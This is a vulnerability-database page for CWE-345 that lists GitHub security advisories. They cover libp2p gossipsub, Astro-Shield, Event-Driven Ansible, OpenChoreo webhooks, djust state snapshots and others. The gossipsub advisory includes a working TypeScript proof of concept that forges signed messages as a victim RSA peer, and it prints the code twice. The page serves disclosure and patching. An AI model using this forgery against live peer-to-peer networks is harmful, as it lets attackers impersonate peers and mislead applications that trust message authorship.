CWE-345
DiscouragedInsufficient Verification of Data Authenticity
Abstraction: Class · Status: Draft
The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.
1211 vulnerabilities reference this CWE, most recent first.
GHSA-C3GV-825Q-FVMP
Vulnerability from github – Published: 2026-09-17 17:29 – Updated: 2026-09-17 17:29Summary
@libp2p/gossipsub StrictSign validation does not bind a supplied message public key to the claimed from peer ID when from is an RSA-style peer ID that does not inline its public key. An attacker can set from to a victim RSA peer ID, sign the message with the attacker's own private key, include the attacker's public key in msg.key, and have the message accepted as a valid signed message from the victim.
Details
The vulnerable code is in packages/gossipsub/src/utils/buildRawMessage.ts inside validateToRawMessage.
When msg.key is present:
publicKey = publicKeyFromProtobuf(msg.key)
if (fromPeerId.publicKey !== undefined && !publicKey.equals(fromPeerId.publicKey)) {
return { valid: false, error: ValidateError.InvalidPeerId }
}
For RSA peer IDs parsed from the wire from multihash, fromPeerId.publicKey is undefined because the RSA public key is not inlined in the peer ID. This means the key-to-from comparison is skipped. The code then verifies the signature with the attacker-supplied msg.key and returns a signed message whose from is the victim RSA peer ID.
The missing invariant is:
peerIdFromPublicKey(publicKey).equals(fromPeerId)
This check must be performed whenever a public key is supplied, including keyless peer ID representations such as RSA peer IDs.
StrictSign is the default gossipsub signature policy in packages/gossipsub/src/gossipsub.ts:
this.globalSignaturePolicy = opts.globalSignaturePolicy ?? StrictSign
Version tracing:
git blamepoints the vulnerablevalidateToRawMessageblock to9a9b11fd44(fix!: remove pubsub (#3291)), which introducedpackages/gossipsub/src/utils/buildRawMessage.ts.- That commit's
packages/gossipsub/package.jsonstill reports14.1.1, but the firstgossipsub-v*release tag in this checkout that contains the vulnerable block isgossipsub-v15.0.0.
PoC
// TypeScript ESM PoC.
import { strict as assert } from 'node:assert'
import { generateKeyPair, publicKeyToProtobuf } from '@libp2p/crypto/keys'
import { StrictSign } from '@libp2p/gossipsub'
import { peerIdFromPrivateKey } from '@libp2p/peer-id'
import { concat as uint8ArrayConcat } from 'uint8arrays/concat'
import { fromString as uint8ArrayFromString } from 'uint8arrays/from-string'
import { RPC } from '../../packages/gossipsub/dist/src/message/rpc.js'
import { SignPrefix, validateToRawMessage } from '../../packages/gossipsub/dist/src/utils/buildRawMessage.js'
const label = 'gossipsub StrictSign RSA author spoof'
function seqno (n: bigint): Uint8Array {
const out = new Uint8Array(8)
new DataView(out.buffer).setBigUint64(0, n, false)
return out
}
async function main (): Promise<void> {
const attackerKey = await generateKeyPair('Ed25519')
const victimRsaKey = await generateKeyPair('RSA', 512)
const victim = peerIdFromPrivateKey(victimRsaKey)
const msg: RPC.Message = {
from: victim.toMultihash().bytes,
data: uint8ArrayFromString('forged as victim RSA peer'),
seqno: seqno(1n),
topic: 'poc-topic',
signature: undefined,
key: undefined
}
// Sign the protobuf message that claims victim in `from`, using attacker's key.
const bytes = uint8ArrayConcat([SignPrefix, RPC.Message.encode(msg)])
msg.signature = await attackerKey.sign(bytes)
msg.key = publicKeyToProtobuf(attackerKey.publicKey)
const result = await validateToRawMessage(StrictSign, msg)
if (!result.valid) {
throw new Error(`expected forged message to validate, got ${result.error}`)
}
assert.equal(result.message.type, 'signed')
assert.equal(result.message.from.equals(victim), true)
assert.equal(result.message.key.equals(attackerKey.publicKey), true)
console.log(`${label} reproduced`)
console.log(`claimed victim RSA author: ${victim}`)
console.log('signature verified with attacker-supplied key')
}
main().catch(err => {
console.error(err)
process.exitCode = 1
})
Expected output:
gossipsub StrictSign RSA author spoof reproduced
claimed victim RSA author: QmcFsT6SHgxy1LXcUbz4aNSn9Wcj6JsJSMsSjB3ud1wT4f
signature verified with attacker-supplied key
Impact
Attackers can forge gossipsub messages attributed to arbitrary victim RSA peer IDs under the default StrictSign policy. Applications that trust message.from in topic validators, authorization logic, accounting, moderation, reputation, or audit logs can be misled into treating attacker-controlled data as if it was authored by the victim.
The forged message can also be considered valid by gossipsub's validation path and forwarded to peers, spreading the incorrect origin attribution through the pubsub mesh.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@libp2p/gossipsub"
},
"ranges": [
{
"events": [
{
"introduced": "15.0.0"
},
{
"fixed": "16.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-86038"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T17:29:31Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n`@libp2p/gossipsub` `StrictSign` validation does not bind a supplied message public key to the claimed `from` peer ID when `from` is an RSA-style peer ID that does not inline its public key. An attacker can set `from` to a victim RSA peer ID, sign the message with the attacker\u0027s own private key, include the attacker\u0027s public key in `msg.key`, and have the message accepted as a valid signed message from the victim.\n\n### Details\nThe vulnerable code is in `packages/gossipsub/src/utils/buildRawMessage.ts` inside `validateToRawMessage`.\n\nWhen `msg.key` is present:\n\n```ts\npublicKey = publicKeyFromProtobuf(msg.key)\nif (fromPeerId.publicKey !== undefined \u0026\u0026 !publicKey.equals(fromPeerId.publicKey)) {\n return { valid: false, error: ValidateError.InvalidPeerId }\n}\n```\n\nFor RSA peer IDs parsed from the wire `from` multihash, `fromPeerId.publicKey` is undefined because the RSA public key is not inlined in the peer ID. This means the key-to-`from` comparison is skipped. The code then verifies the signature with the attacker-supplied `msg.key` and returns a signed message whose `from` is the victim RSA peer ID.\n\nThe missing invariant is:\n\n```ts\npeerIdFromPublicKey(publicKey).equals(fromPeerId)\n```\n\nThis check must be performed whenever a public key is supplied, including keyless peer ID representations such as RSA peer IDs.\n\n`StrictSign` is the default gossipsub signature policy in `packages/gossipsub/src/gossipsub.ts`:\n\n```ts\nthis.globalSignaturePolicy = opts.globalSignaturePolicy ?? StrictSign\n```\n\nVersion tracing:\n\n- `git blame` points the vulnerable `validateToRawMessage` block to `9a9b11fd44` (`fix!: remove pubsub (#3291)`), which introduced `packages/gossipsub/src/utils/buildRawMessage.ts`.\n- That commit\u0027s `packages/gossipsub/package.json` still reports `14.1.1`, but the first `gossipsub-v*` release tag in this checkout that contains the vulnerable block is `gossipsub-v15.0.0`.\n\n\n### PoC\n\n```ts\n// TypeScript ESM PoC.\nimport { strict as assert } from \u0027node:assert\u0027\nimport { generateKeyPair, publicKeyToProtobuf } from \u0027@libp2p/crypto/keys\u0027\nimport { StrictSign } from \u0027@libp2p/gossipsub\u0027\nimport { peerIdFromPrivateKey } from \u0027@libp2p/peer-id\u0027\nimport { concat as uint8ArrayConcat } from \u0027uint8arrays/concat\u0027\nimport { fromString as uint8ArrayFromString } from \u0027uint8arrays/from-string\u0027\nimport { RPC } from \u0027../../packages/gossipsub/dist/src/message/rpc.js\u0027\nimport { SignPrefix, validateToRawMessage } from \u0027../../packages/gossipsub/dist/src/utils/buildRawMessage.js\u0027\n\nconst label = \u0027gossipsub StrictSign RSA author spoof\u0027\n\nfunction seqno (n: bigint): Uint8Array {\n const out = new Uint8Array(8)\n new DataView(out.buffer).setBigUint64(0, n, false)\n return out\n}\n\nasync function main (): Promise\u003cvoid\u003e {\n const attackerKey = await generateKeyPair(\u0027Ed25519\u0027)\n const victimRsaKey = await generateKeyPair(\u0027RSA\u0027, 512)\n const victim = peerIdFromPrivateKey(victimRsaKey)\n\n const msg: RPC.Message = {\n from: victim.toMultihash().bytes,\n data: uint8ArrayFromString(\u0027forged as victim RSA peer\u0027),\n seqno: seqno(1n),\n topic: \u0027poc-topic\u0027,\n signature: undefined,\n key: undefined\n }\n\n // Sign the protobuf message that claims victim in `from`, using attacker\u0027s key.\n const bytes = uint8ArrayConcat([SignPrefix, RPC.Message.encode(msg)])\n msg.signature = await attackerKey.sign(bytes)\n msg.key = publicKeyToProtobuf(attackerKey.publicKey)\n\n const result = await validateToRawMessage(StrictSign, msg)\n\n if (!result.valid) {\n throw new Error(`expected forged message to validate, got ${result.error}`)\n }\n\n assert.equal(result.message.type, \u0027signed\u0027)\n assert.equal(result.message.from.equals(victim), true)\n assert.equal(result.message.key.equals(attackerKey.publicKey), true)\n\n console.log(`${label} reproduced`)\n console.log(`claimed victim RSA author: ${victim}`)\n console.log(\u0027signature verified with attacker-supplied key\u0027)\n}\n\nmain().catch(err =\u003e {\n console.error(err)\n process.exitCode = 1\n})\n```\nExpected output:\n\n```text\ngossipsub StrictSign RSA author spoof reproduced\nclaimed victim RSA author: QmcFsT6SHgxy1LXcUbz4aNSn9Wcj6JsJSMsSjB3ud1wT4f\nsignature verified with attacker-supplied key\n```\n\n### Impact\nAttackers can forge gossipsub messages attributed to arbitrary victim RSA peer IDs under the default `StrictSign` policy. Applications that trust `message.from` in topic validators, authorization logic, accounting, moderation, reputation, or audit logs can be misled into treating attacker-controlled data as if it was authored by the victim.\n\nThe forged message can also be considered valid by gossipsub\u0027s validation path and forwarded to peers, spreading the incorrect origin attribution through the pubsub mesh.",
"id": "GHSA-c3gv-825q-fvmp",
"modified": "2026-09-17T17:29:31Z",
"published": "2026-09-17T17:29:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-c3gv-825q-fvmp"
},
{
"type": "WEB",
"url": "https://github.com/libp2p/js-libp2p/pull/3569"
},
{
"type": "WEB",
"url": "https://github.com/libp2p/js-libp2p/commit/cec2b1f349d130065e561349a0336a239528267f"
},
{
"type": "PACKAGE",
"url": "https://github.com/libp2p/js-libp2p"
},
{
"type": "WEB",
"url": "https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v16.0.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "libp2p: Gossipsub StrictSign accepts attacker-signed messages as a victim RSA peer ID"
}
GHSA-C467-VF3V-2G2Q
Vulnerability from github – Published: 2024-02-21 21:30 – Updated: 2024-09-27 18:32Malformed Device Reset Locally Command Class packets can be sent to the controller, causing the controller to assume the end device has left the network. After this, frames sent by the end device will not be acknowledged by the controller. This vulnerability exists in PC Controller v5.54.0, and earlier.
{
"affected": [],
"aliases": [
"CVE-2023-6533"
],
"database_specific": {
"cwe_ids": [
"CWE-248",
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-21T20:15:46Z",
"severity": "MODERATE"
},
"details": "Malformed Device Reset Locally Command Class packets can be sent to the controller, causing the controller to assume the end device has left the network. After this, frames sent by the end device will not be acknowledged by the controller. This vulnerability exists in PC Controller v5.54.0, and earlier.\u00a0",
"id": "GHSA-c467-vf3v-2g2q",
"modified": "2024-09-27T18:32:20Z",
"published": "2024-02-21T21:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-6533"
},
{
"type": "WEB",
"url": "https://community.silabs.com/068Vm000001HdNm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C4G3-63F2-RG7G
Vulnerability from github – Published: 2024-12-12 12:31 – Updated: 2024-12-12 12:31Read/Write vulnerability in the image decoding module Impact: Successful exploitation of this vulnerability will affect availability.
{
"affected": [],
"aliases": [
"CVE-2024-54111"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-12T12:15:26Z",
"severity": "MODERATE"
},
"details": "Read/Write vulnerability in the image decoding module\nImpact: Successful exploitation of this vulnerability will affect availability.",
"id": "GHSA-c4g3-63f2-rg7g",
"modified": "2024-12-12T12:31:16Z",
"published": "2024-12-12T12:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54111"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2024/12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-C4GR-Q97G-PPWC
Vulnerability from github – Published: 2024-04-01 20:33 – Updated: 2024-09-12 13:52Impact
Versions from 1.2.0 to 1.3.1 of Astro-Shield allow to bypass the allow-lists for cross-origin resources by introducing valid integrity attributes to the injected code. This implies that the injected SRI hash would be added to the generated CSP header, which would lead the browser to believe that the injected resource is legit.
To exploit this vulnerability, the attacker needs to first inject code into the rendered pages by exploiting other not-related potential vulnerabilities.
Patches
Version 1.3.2 provides a patch.
Workarounds
- To not use the middleware functionality of Astro-Shield.
- To use the middleware functionality of Astro-Shield ONLY for content that cannot be controlled in any way by external users.
References
Are there any links users can visit to find out more?
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@kindspells/astro-shield"
},
"ranges": [
{
"events": [
{
"introduced": "1.2.0"
},
{
"fixed": "1.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-30250"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2024-04-01T20:33:53Z",
"nvd_published_at": "2024-04-04T15:15:39Z",
"severity": "HIGH"
},
"details": "### Impact\n\nVersions from 1.2.0 to 1.3.1 of Astro-Shield allow to bypass the allow-lists for cross-origin resources by introducing valid `integrity` attributes to the injected code. This implies that the injected SRI hash would be added to the generated CSP header, which would lead the browser to believe that the injected resource is legit.\n\nTo exploit this vulnerability, the attacker needs to first inject code into the rendered pages by exploiting other not-related potential vulnerabilities.\n\n### Patches\n\nVersion [1.3.2](https://github.com/kindspells/astro-shield/releases/tag/1.3.2) provides a patch.\n\n### Workarounds\n- To not use the middleware functionality of Astro-Shield.\n- To use the middleware functionality of Astro-Shield ONLY for content that cannot be controlled in any way by external users.\n\n### References\n_Are there any links users can visit to find out more?_\n",
"id": "GHSA-c4gr-q97g-ppwc",
"modified": "2024-09-12T13:52:45Z",
"published": "2024-04-01T20:33:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kindspells/astro-shield/security/advisories/GHSA-c4gr-q97g-ppwc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30250"
},
{
"type": "WEB",
"url": "https://github.com/kindspells/astro-shield/commit/1221019306f501bf5fa9bcfb5a23a2321d34ba0a"
},
{
"type": "WEB",
"url": "https://github.com/kindspells/astro-shield/commit/5ae8b8ef4f681d3a81431ee7e79d5dec545c6e1f"
},
{
"type": "PACKAGE",
"url": "https://github.com/kindspells/astro-shield"
},
{
"type": "WEB",
"url": "https://github.com/kindspells/astro-shield/releases/tag/1.3.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "In Astro-Shield, setting a correct `integrity` attribute to injected code allows to bypass the allow-lists"
}
GHSA-C4XF-FV75-HWXM
Vulnerability from github – Published: 2026-07-27 21:31 – Updated: 2026-08-04 21:30A flaw was found in the Event-Driven Ansible (EDA) server. The ExternalEventStreamViewSet uses permissive access controls (permission_classes=[AllowAny], authentication_classes=[]) and relies solely on the Subject HTTP header value for mTLS authentication without verifying that the header originated from a trusted proxy. Additionally, the expected certificate Distinguished Name is leaked in the 403 error response body. An attacker who can reach the EDA API endpoint with a spoofed Subject header can inject arbitrary events into mTLS-protected event streams, triggering downstream automation actions.
{
"affected": [],
"aliases": [
"CVE-2026-12383"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-27T19:17:14Z",
"severity": "HIGH"
},
"details": "A flaw was found in the Event-Driven Ansible (EDA) server. The ExternalEventStreamViewSet uses permissive access controls (permission_classes=[AllowAny], authentication_classes=[]) and relies solely on the Subject HTTP header value for mTLS authentication without verifying that the header originated from a trusted proxy. Additionally, the expected certificate Distinguished Name is leaked in the 403 error response body. An attacker who can reach the EDA API endpoint with a spoofed Subject header can inject arbitrary events into mTLS-protected event streams, triggering downstream automation actions.",
"id": "GHSA-c4xf-fv75-hwxm",
"modified": "2026-08-04T21:30:25Z",
"published": "2026-07-27T21:31:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12383"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:50319"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:50336"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:50340"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-12383"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2489127"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C5F6-2RM9-2W8G
Vulnerability from github – Published: 2026-09-02 23:45 – Updated: 2026-09-02 23:45Summary
The OpenChoreo autobuild webhook endpoint (POST /api/v1alpha1/autobuild) selected the git provider used to authenticate an incoming webhook from a client-supplied request header rather than from the target component's configuration, and its Bitbucket provider accepted requests without a valid signature. A caller could set the X-Event-Key header to be treated as a Bitbucket webhook, bypassing the HMAC secret that otherwise protects GitHub and GitLab webhooks, and trigger a component build without authenticating.
Impact
An attacker who can reach the autobuild webhook endpoint and knows the repository URL and branch configured for an auto-build component can trigger a build for that component without authenticating — including components configured for GitHub or GitLab, since the provider used or verification is chosen by the caller rather than by the component's configuration. The triggered build runs against a commit SHA supplied by the attacker, and the component lookup is not scoped to a tenant or namespace, so any auto-build component across the cluster matching the given repository and branch is affected. This can result in unauthorized builds — and, where auto-deploy is configured, unauthorized deployment of attacker-influenced code — and can be used to exhaust build resources through repeated unauthenticated triggering.
The exposure applies to any component with spec.autoBuild: true, regardless of which git provider it declares, wherever the autobuild webhook endpoint is network-reachable.
Patches
Fixed in 1.0.3, 1.1.3, and 1.2.0-rc.2. The fix validates Bitbucket webhooks with HMAC-SHA256 against the configured secret using the same verification path as GitHub, requires a configured, non-empty secret for every provider (a missing secret now rejects the request instead of skipping validation), and requires the authenticated provider to match the git provider configured for the matched component. Upgrading is non-disruptive — no component or webhook configuration changes are required beyond the standard upgrade. Upgrade path: 1.1.x → 1.1.3, 1.0.x and earlier → 1.0.3, 1.2 line → 1.2.0-rc.2 or later.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/openchoreo/openchoreo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/openchoreo/openchoreo"
},
"ranges": [
{
"events": [
{
"introduced": "1.1.0"
},
{
"fixed": "1.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/openchoreo/openchoreo"
},
"ranges": [
{
"events": [
{
"introduced": "1.2.0-rc.1"
},
{
"fixed": "1.2.0-rc.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73840"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-290",
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-02T23:45:14Z",
"nvd_published_at": "2026-08-13T22:17:28Z",
"severity": "MODERATE"
},
"details": "## Summary\nThe OpenChoreo autobuild webhook endpoint (`POST /api/v1alpha1/autobuild`) selected the git provider used to authenticate an incoming webhook from a client-supplied request header rather than from the target component\u0027s configuration, and its Bitbucket provider accepted requests without a valid signature. A caller could set the `X-Event-Key` header to be treated as a Bitbucket webhook, bypassing the HMAC secret that otherwise protects GitHub and GitLab webhooks, and trigger a component build without authenticating.\n\n## Impact\nAn attacker who can reach the autobuild webhook endpoint and knows the repository URL and branch configured for an auto-build component can trigger a build for that component without authenticating \u2014 including components configured for GitHub or GitLab, since the provider used or verification is chosen by the caller rather than by the component\u0027s configuration. The\ntriggered build runs against a commit SHA supplied by the attacker, and the component lookup is not scoped to a tenant or namespace, so any auto-build component across the cluster matching the given repository and branch is affected. This can result in unauthorized builds \u2014 and, where auto-deploy is configured, unauthorized deployment of attacker-influenced code \u2014 and can be used to exhaust build resources through repeated unauthenticated triggering.\n\nThe exposure applies to any component with `spec.autoBuild: true`, regardless of which git provider it declares, wherever the autobuild webhook endpoint is network-reachable.\n\n## Patches\nFixed in 1.0.3, 1.1.3, and 1.2.0-rc.2. The fix validates Bitbucket webhooks with HMAC-SHA256 against the configured secret using the same verification path as GitHub, requires a configured, non-empty secret for every provider (a missing secret now rejects the request instead of skipping validation), and requires the authenticated provider to match the git provider configured for the\nmatched component. Upgrading is non-disruptive \u2014 no component or webhook configuration changes are required beyond the standard upgrade. Upgrade path: 1.1.x \u2192 1.1.3, 1.0.x and earlier \u2192 1.0.3, 1.2 line \u2192 1.2.0-rc.2 or later.",
"id": "GHSA-c5f6-2rm9-2w8g",
"modified": "2026-09-02T23:45:14Z",
"published": "2026-09-02T23:45:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openchoreo/openchoreo/security/advisories/GHSA-c5f6-2rm9-2w8g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73840"
},
{
"type": "WEB",
"url": "https://github.com/openchoreo/openchoreo/pull/4239"
},
{
"type": "WEB",
"url": "https://github.com/openchoreo/openchoreo/pull/4252"
},
{
"type": "WEB",
"url": "https://github.com/openchoreo/openchoreo/pull/4253"
},
{
"type": "WEB",
"url": "https://github.com/openchoreo/openchoreo/commit/268efd9b762a3f4f72b55d9c1b13dfc55122127b"
},
{
"type": "WEB",
"url": "https://github.com/openchoreo/openchoreo/commit/8af4a3fc8725fc2d8a9de9611e77278a5c48f978"
},
{
"type": "WEB",
"url": "https://github.com/openchoreo/openchoreo/commit/f540553db7143141b73bb37fae02102e6f082a34"
},
{
"type": "PACKAGE",
"url": "https://github.com/openchoreo/openchoreo"
},
{
"type": "WEB",
"url": "https://github.com/openchoreo/openchoreo/releases/tag/v1.0.3"
},
{
"type": "WEB",
"url": "https://github.com/openchoreo/openchoreo/releases/tag/v1.1.3"
},
{
"type": "WEB",
"url": "https://github.com/openchoreo/openchoreo/releases/tag/v1.2.0-rc.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "OpenChoreo: Unauthenticated build/workflow trigger via git-provider confusion (webhook signature bypass)"
}
GHSA-C5XR-PXXH-8H7H
Vulnerability from github – Published: 2022-05-13 01:10 – Updated: 2022-05-13 01:10The non-Domino web agents in CA Single Sign-On (aka SSO, formerly SiteMinder) R6, R12.0 before SP3 CR13, R12.0J before SP3 CR1.2, and R12.5 before CR5 allow remote attackers to cause a denial of service (daemon crash) or obtain sensitive information via a crafted request.
{
"affected": [],
"aliases": [
"CVE-2015-6854"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-03-24T01:59:00Z",
"severity": "CRITICAL"
},
"details": "The non-Domino web agents in CA Single Sign-On (aka SSO, formerly SiteMinder) R6, R12.0 before SP3 CR13, R12.0J before SP3 CR1.2, and R12.5 before CR5 allow remote attackers to cause a denial of service (daemon crash) or obtain sensitive information via a crafted request.",
"id": "GHSA-c5xr-pxxh-8h7h",
"modified": "2022-05-13T01:10:55Z",
"published": "2022-05-13T01:10:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-6854"
},
{
"type": "WEB",
"url": "http://www.ca.com/us/support/ca-support-online/product-content/recommended-reading/security-notices/ca20160323-01-security-notice-for-ca-single-sign-on-web-agents.aspx"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1035389"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-C67V-VQRP-M5WJ
Vulnerability from github – Published: 2026-09-16 21:56 – Updated: 2026-09-16 21:56Impact
For views that opt into state snapshots, the snapshot state_json embedded in the client page was restored on reconnect as trusted view state with no integrity check. A client could edit the unsigned state_json in their page and return it in the reconnect mount frame to inject arbitrary view attributes — e.g. flip is_admin to True, or change account_id / balance — escalating privilege or tampering with business state held in public view attributes (the normal djust pattern).
Patches
Fixed in djust 1.0.7. State snapshots are signed; unsigned or forged snapshots are rejected on the back-navigation restore path.
Workarounds
Do not enable state snapshots; do not hold authorization/ownership state in public view attributes.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "djust"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61591"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-16T21:56:12Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\nFor views that opt into state snapshots, the snapshot `state_json` embedded in the client page was restored on reconnect as **trusted** view state with no integrity check. A client could edit the unsigned `state_json` in their page and return it in the reconnect mount frame to **inject arbitrary view attributes** \u2014 e.g. flip `is_admin` to `True`, or change `account_id` / `balance` \u2014 escalating privilege or tampering with business state held in public view attributes (the normal djust pattern).\n\n### Patches\nFixed in **djust 1.0.7**. State snapshots are signed; unsigned or forged snapshots are rejected on the back-navigation restore path.\n\n### Workarounds\nDo not enable state snapshots; do not hold authorization/ownership state in public view attributes.",
"id": "GHSA-c67v-vqrp-m5wj",
"modified": "2026-09-16T21:56:12Z",
"published": "2026-09-16T21:56:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/djust-org/djust/security/advisories/GHSA-c67v-vqrp-m5wj"
},
{
"type": "PACKAGE",
"url": "https://github.com/djust-org/djust"
},
{
"type": "WEB",
"url": "https://github.com/djust-org/djust/releases/tag/v1.0.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "djust: Unsigned client state snapshot is restored as trusted view state (privilege escalation / state injection)"
}
GHSA-C867-RXHP-5W2V
Vulnerability from github – Published: 2026-09-02 06:31 – Updated: 2026-09-02 12:31The CatalogX WordPress plugin before 6.1.3 does not sanitise or escape content that an unauthenticated user can store before including it in the product enquiry notification email sent to the site administrator, allowing unauthenticated attackers to inject arbitrary content into that email, which is delivered when an unrelated visitor later submits a product enquiry.
{
"affected": [],
"aliases": [
"CVE-2026-79621"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-02T06:17:18Z",
"severity": "MODERATE"
},
"details": "The CatalogX WordPress plugin before 6.1.3 does not sanitise or escape content that an unauthenticated user can store before including it in the product enquiry notification email sent to the site administrator, allowing unauthenticated attackers to inject arbitrary content into that email, which is delivered when an unrelated visitor later submits a product enquiry.",
"id": "GHSA-c867-rxhp-5w2v",
"modified": "2026-09-02T12:31:28Z",
"published": "2026-09-02T06:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-79621"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/9a4c12ff-80d8-400c-abfa-de557ead3b07"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C86M-WFX2-QMX9
Vulnerability from github – Published: 2023-08-03 12:31 – Updated: 2024-04-04 06:30In CODESYS Development System versions from 3.5.11.20 and before 3.5.19.20 a missing integrity check might allow an unauthenticated remote attacker to manipulate the content of notifications received via HTTP by the CODESYS notification server.
{
"affected": [],
"aliases": [
"CVE-2023-3663"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-940"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-03T11:15:10Z",
"severity": "HIGH"
},
"details": "In CODESYS Development System versions from 3.5.11.20 and before 3.5.19.20 a missing integrity check might allow an unauthenticated remote attacker to manipulate the content of notifications received via HTTP by the CODESYS notification server.",
"id": "GHSA-c86m-wfx2-qmx9",
"modified": "2024-04-04T06:30:56Z",
"published": "2023-08-03T12:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3663"
},
{
"type": "WEB",
"url": "https://cert.vde.com/en/advisories/VDE-2023-022"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-141: Cache Poisoning
